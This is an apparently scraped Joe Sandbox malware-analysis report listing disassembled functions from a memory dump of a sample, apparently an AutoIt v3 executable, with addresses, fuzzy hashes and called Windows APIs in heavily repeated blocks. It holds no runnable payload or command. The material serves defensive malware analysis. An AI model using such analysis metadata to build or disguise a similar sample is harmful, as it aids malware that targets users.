Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction ID: ee7dd728f5955784d3b0d255563ad9e26366918d5edf72dfde01cbac88172fc5
Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
Instruction Fuzzy Hash: BC412C22B2AA4186FF119F65D9403AC33A1FB84B88F444535CE0DA7B96CF7CE495D346

Function 00007FF629238FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF629238FD4

Part of subcall function 00007FF629239164: GetModuleHandleExW.KERNEL32 ref: 00007FF629239184
Part of subcall function 00007FF629239164: GetProcAddress.KERNEL32 ref: 00007FF62923919A
Part of subcall function 00007FF629239164: FreeLibrary.KERNEL32 ref: 00007FF6292391BF

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 484755d69007ed573088791168cf15fba4039a4198781bb458c2e7a438dd70aa
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 9341CC25E2B652D2FE64DF21DE502B932A1AFC1B44F044039DE0E976D1DF3DE841AB46

Function 00007FF629256D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629256D34

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: ec70712e7de111903b8e5421a13d26563db7c6c506df8caccb3f82c97a58ee5a
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: 4C21D63262A64287FF699F28E94037976A1FBC0B94F144234DA5DC76D9DF2CD800DB01

Function 00007FF6292448E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629244835

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: ad466950c24575d3ff6a8bf3672db25884cff685f1647da4c7c235261cf49fc8
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 96217121A2E68282FE519F119E0017E72A5BFC5BC4F549030EE4CD7B86DF7CD851AB82

Function 00007FF62924E258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924E28C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction ID: f7d8fb5fb32ff859c3232b4e5d4f4bfd5e75129e871c74a7b1e1fba529a69956
Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction Fuzzy Hash: 07114F32A2E69282FB10DF54AE4057A76A5FB84384F552035EA8DC77D5DF2CE800AB02

Function 00007FF629250414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: 5998774b0a8b551c7c3bb189077659249a5bd793f6ffb82b551a98ac0b677d15
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 9B118F7292A68686FE089F50DE003BD7761FBC0750F904132E68D462DACFBCD404DB02

Function 00007FF6292448EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629244909

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: 9a2a9a97cfdcc0e3ce26d1acab953d4becd86400199540bca0984566ae04f50c
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 8B012122A2B24741FE14AE669E1137931905FD5B64F252630E92DC62D6CF3CE8417A02

Function 00007FF629244970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629244999

Part of subcall function 00007FF6292448EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629244909

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: 53d3fb894ee41fa7f90c5e921608f1360355fd01c3dabaeb7418408b0208a8ce
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: 9AF01221A2A14746FD156E766E411B932949FC0754F246130E95DC62D6CF2CD451BA13

Function 00007FF62921652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629244970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629244999

FreeLibrary.KERNEL32(?,?,?,00007FF62925C8FE), ref: 00007FF62921656F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: f823eca4a59c24fb29ce305b5dca828ebcdf21f7dc4596fdd84c8815dc581214
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: EAF05E52A2AA05D2FF19CF75C95933C33A0BB98F08F140530CA0E8A18ADF2DD464A342

Function 00007FF629234C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF629234C5C

Part of subcall function 00007FF629235600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629235609
Part of subcall function 00007FF629235600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF62923561A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction ID: 9e79cb836ba49d922132ed40d8f641e18adf93ab7c745ce5a0eb57d48a1563f5
Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction Fuzzy Hash: 30E01240E3B50745FD286E720F010F820440FC8330E581BB0D93DC52C2AF0CA440690A

Function 00007FF629213EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE ref: 00007FF629213ED8

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction ID: f535523b037da6cd86727d0eecb1259418f65c88a732fdd8d7c9519e296f8945
Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
Instruction Fuzzy Hash: 38E09222B1864181EB219B25E644398B365BBCC7C4F444031EE8C8375ACE6CC5848A00

Function 00007FF629215D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF629215DDE

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction ID: fb7d58b9bb5c738c1a4069fd4bd926ea3bb35f79bdf5f4b1af0eeebb31996e92
Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
Instruction Fuzzy Hash: BCF05821A2AB8287FB629F64E84436976A8F7C4308F840079D28D87796CF3CD305CF42

Function 00007FF629211080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629217920: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF62921109E), ref: 00007FF629217A75

_onexit.LIBCMT ref: 00007FF629234F10

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction ID: 549cff6ef70eea1f2d8c2ca4d1fcfe442fbe0c0645fdcaf431dc034da8bbf560
Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
Instruction Fuzzy Hash: 4FE0B650F2A54B80EE04AF69DD850B422916FE6305F805536C00CC2292DF2CE2A5A706

Function 00007FF629211064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF629234F10

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction ID: 4e1cfd73b2ca26d198e339417c0aeceade4ac5ff3f33bf9fa7312e239fdf52af
Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
Instruction Fuzzy Hash: 64C01205F7F04B80FE087BBA9E8A0B821D00FEA300FD402B6C00DC0282CF1C62E66A17

Function 00007FF629211048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF629234F10

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction ID: 458ceac6085a4b8c01531fe45ae85cd2ccd41d51501ceb591c76be7511a522dd
Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
Instruction Fuzzy Hash: 11C0C900E7B04B81FD087BB58D860B421D00BE9300F900575C00DC0282CE0C61A62646

Function 00007FF6292110E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629231D80: GetVersionExW.KERNEL32 ref: 00007FF629231DC8
Part of subcall function 00007FF629231D80: GetCurrentProcess.KERNEL32 ref: 00007FF629231F42
Part of subcall function 00007FF629231D80: IsWow64Process.KERNEL32 ref: 00007FF629231F52

_onexit.LIBCMT ref: 00007FF629234F10

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction ID: 8e6b70d5a82a58143bd094ebd20b49ff97ef0e09f4ee37e07689bd8eee67cb71
Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
Instruction Fuzzy Hash: 34C01200F7F05B80FE087BB59D860F421904FE5300FD00176C10DC0282DF0C61E62617

Function 00007FF62924DDA8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF62924DDFD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction ID: cd2da6c6c791d836bf540a482868b31a7a7a0e608b9a359b31bc6fd46620ec5a
Opcode Fuzzy Hash: 56853fc6be513b26808fd6ceb43c2b1e56f5d2842f756231a7c5debb2bb5ead3
Instruction Fuzzy Hash: 42F04945B2B606C0FE59AF62AE103B572949FD5B40F88A430CC0EC62C6EF2CF445AA12

Function 00007FF62924C51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF62924C55A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction ID: 58fce59a96c38b739fb26f51793e073df19e57374c1e5c272c8dcdae0d758c54
Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
Instruction Fuzzy Hash: E7F0DA41B2B24685FE64EF755E117B971805FC5BA0F486630DC2ED66C1DF6CE440AA22

Non-executed Functions

Function 00007FF6292A56A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF6292A570B
DeleteObject.GDI32 ref: 00007FF6292A5724
DestroyWindow.USER32 ref: 00007FF6292A5738
GetDesktopWindow.USER32 ref: 00007FF6292A5758
GetWindowRect.USER32 ref: 00007FF6292A5766
SetRect.USER32 ref: 00007FF6292A58A7
AdjustWindowRectEx.USER32 ref: 00007FF6292A58BA
CreateWindowExW.USER32 ref: 00007FF6292A5929
GetClientRect.USER32 ref: 00007FF6292A593E
CreateWindowExW.USER32 ref: 00007FF6292A59A9
CreateFileW.KERNEL32 ref: 00007FF6292A59E6
GetFileSize.KERNEL32 ref: 00007FF6292A59FE
GlobalAlloc.KERNEL32 ref: 00007FF6292A5A0C
GlobalLock.KERNEL32 ref: 00007FF6292A5A18
ReadFile.KERNEL32 ref: 00007FF6292A5A33
GlobalUnlock.KERNEL32 ref: 00007FF6292A5A3E
CloseHandle.KERNEL32 ref: 00007FF6292A5A47
GlobalFree.KERNEL32 ref: 00007FF6292A5A54
CreateStreamOnHGlobal.OLE32 ref: 00007FF6292A5A68
OleLoadPicture.OLEAUT32 ref: 00007FF6292A5A87
GlobalFree.KERNEL32 ref: 00007FF6292A5A9A
CopyImage.USER32 ref: 00007FF6292A5ACB
SendMessageW.USER32 ref: 00007FF6292A5AEE
SetWindowPos.USER32 ref: 00007FF6292A5B2A
ShowWindow.USER32 ref: 00007FF6292A5DDD

Strings

DISPLAY, xrefs: 00007FF6292A5BA1
, xrefs: 00007FF6292A5B17
AutoIt v3, xrefs: 00007FF6292A5917
static, xrefs: 00007FF6292A5969, 00007FF6292A5B56

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

